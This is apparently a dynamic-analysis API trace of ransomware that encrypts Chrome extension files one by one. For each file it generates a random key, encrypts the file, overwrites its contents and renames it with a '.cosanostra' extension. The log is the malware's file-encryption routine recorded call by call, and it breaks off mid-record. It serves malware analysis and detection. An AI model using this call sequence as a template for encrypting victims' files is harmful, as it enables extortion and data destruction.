[0087.139] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 155 [0087.139] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.140] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.140] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x251f82c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f82c*=0xde, lpOverlapped=0x0) returned 1 [0087.140] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.140] WriteFile (in: hFile=0x18c, lpBuffer=0x251f86c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f82c, lpOverlapped=0x0 | out: lpBuffer=0x251f86c*, lpNumberOfBytesWritten=0x251f82c*=0x4, lpOverlapped=0x0) returned 1 [0087.140] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f82c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f82c*=0x30, lpOverlapped=0x0) returned 1 [0087.140] CloseHandle (hObject=0x18c) returned 1 [0087.140] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.cosanostra") returned 166 [0087.141] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.cosanostra")) returned 1 [0087.144] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f868 | out: pbBuffer=0x251f868) returned 1 [0087.144] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f860*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f860*=0x30) returned 1 [0087.144] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.145] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 155 [0087.145] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.145] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.146] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x251f824, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f824*=0xe8, lpOverlapped=0x0) returned 1 [0087.146] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.146] WriteFile (in: hFile=0x18c, lpBuffer=0x251f864*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f824, lpOverlapped=0x0 | out: lpBuffer=0x251f864*, lpNumberOfBytesWritten=0x251f824*=0x4, lpOverlapped=0x0) returned 1 [0087.146] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f824, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f824*=0x30, lpOverlapped=0x0) returned 1 [0087.146] CloseHandle (hObject=0x18c) returned 1 [0087.146] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.cosanostra") returned 166 [0087.146] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.cosanostra")) returned 1 [0087.148] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f860 | out: pbBuffer=0x251f860) returned 1 [0087.148] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f858*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f858*=0x30) returned 1 [0087.148] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.219] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 155 [0087.219] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.220] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffff12, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.220] WriteFile (in: hFile=0x16c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x251f81c, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x251f81c*=0xee, lpOverlapped=0x0) returned 1 [0087.220] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.220] WriteFile (in: hFile=0x16c, lpBuffer=0x251f85c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f81c, lpOverlapped=0x0 | out: lpBuffer=0x251f85c*, lpNumberOfBytesWritten=0x251f81c*=0x4, lpOverlapped=0x0) returned 1 [0087.220] WriteFile (in: hFile=0x16c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f81c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f81c*=0x30, lpOverlapped=0x0) returned 1 [0087.220] CloseHandle (hObject=0x16c) returned 1 [0087.220] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.cosanostra") returned 166 [0087.221] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.cosanostra")) returned 1 [0087.254] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f858 | out: pbBuffer=0x251f858) returned 1 [0087.254] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f850*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f850*=0x30) returned 1 [0087.254] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.263] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 158 [0087.263] StrStrW (lpFirst="cast_game_sender.js", lpSrch=".txt") returned 0x0 [0087.265] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.265] WriteFile (in: hFile=0x18c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f814, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x251f814*=0x2800, lpOverlapped=0x0) returned 1 [0087.265] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.265] WriteFile (in: hFile=0x18c, lpBuffer=0x251f854*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f814, lpOverlapped=0x0 | out: lpBuffer=0x251f854*, lpNumberOfBytesWritten=0x251f814*=0x4, lpOverlapped=0x0) returned 1 [0087.277] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f814, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f814*=0x30, lpOverlapped=0x0) returned 1 [0087.277] CloseHandle (hObject=0x18c) returned 1 [0087.277] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.cosanostra") returned 169 [0087.277] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.cosanostra")) returned 1 [0087.278] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f850 | out: pbBuffer=0x251f850) returned 1 [0087.278] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f848*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f848*=0x30) returned 1 [0087.278] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.279] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 162 [0087.279] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.282] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd6b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.282] WriteFile (in: hFile=0x18c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x295, lpNumberOfBytesWritten=0x251f80c, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x251f80c*=0x295, lpOverlapped=0x0) returned 1 [0087.283] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.283] WriteFile (in: hFile=0x18c, lpBuffer=0x251f84c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f80c, lpOverlapped=0x0 | out: lpBuffer=0x251f84c*, lpNumberOfBytesWritten=0x251f80c*=0x4, lpOverlapped=0x0) returned 1 [0087.283] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f80c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f80c*=0x30, lpOverlapped=0x0) returned 1 [0087.283] CloseHandle (hObject=0x18c) returned 1 [0087.284] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json.cosanostra") returned 173 [0087.284] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json.cosanostra")) returned 1 [0087.286] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f848 | out: pbBuffer=0x251f848) returned 1 [0087.286] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f840*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f840*=0x30) returned 1 [0087.286] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.286] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 162 [0087.287] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.291] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd65, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.291] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x29b, lpNumberOfBytesWritten=0x251f804, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f804*=0x29b, lpOverlapped=0x0) returned 1 [0087.292] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.292] WriteFile (in: hFile=0x18c, lpBuffer=0x251f844*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f804, lpOverlapped=0x0 | out: lpBuffer=0x251f844*, lpNumberOfBytesWritten=0x251f804*=0x4, lpOverlapped=0x0) returned 1 [0087.292] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f804, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f804*=0x30, lpOverlapped=0x0) returned 1 [0087.292] CloseHandle (hObject=0x18c) returned 1 [0087.292] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json.cosanostra") returned 173 [0087.293] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json.cosanostra")) returned 1 [0087.295] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f840 | out: pbBuffer=0x251f840) returned 1 [0087.295] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f838*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f838*=0x30) returned 1 [0087.295] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.295] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 159 [0087.295] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.351] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.351] WriteFile (in: hFile=0x18c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x282, lpNumberOfBytesWritten=0x251f7fc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f7fc*=0x282, lpOverlapped=0x0) returned 1 [0087.351] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.351] WriteFile (in: hFile=0x18c, lpBuffer=0x251f83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7fc, lpOverlapped=0x0 | out: lpBuffer=0x251f83c*, lpNumberOfBytesWritten=0x251f7fc*=0x4, lpOverlapped=0x0) returned 1 [0087.351] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7fc*=0x30, lpOverlapped=0x0) returned 1 [0087.351] CloseHandle (hObject=0x18c) returned 1 [0087.351] wnsprintfW (in: pszDest=0x2ff0120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.cosanostra") returned 170 [0087.351] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.cosanostra")) returned 1 [0087.353] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f838 | out: pbBuffer=0x251f838) returned 1 [0087.353] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f830*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f830*=0x30) returned 1 [0087.353] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.353] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json") returned 164 [0087.353] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.396] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.396] WriteFile (in: hFile=0x18c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f7f4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f7f4*=0x2800, lpOverlapped=0x0) returned 1 [0087.397] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, 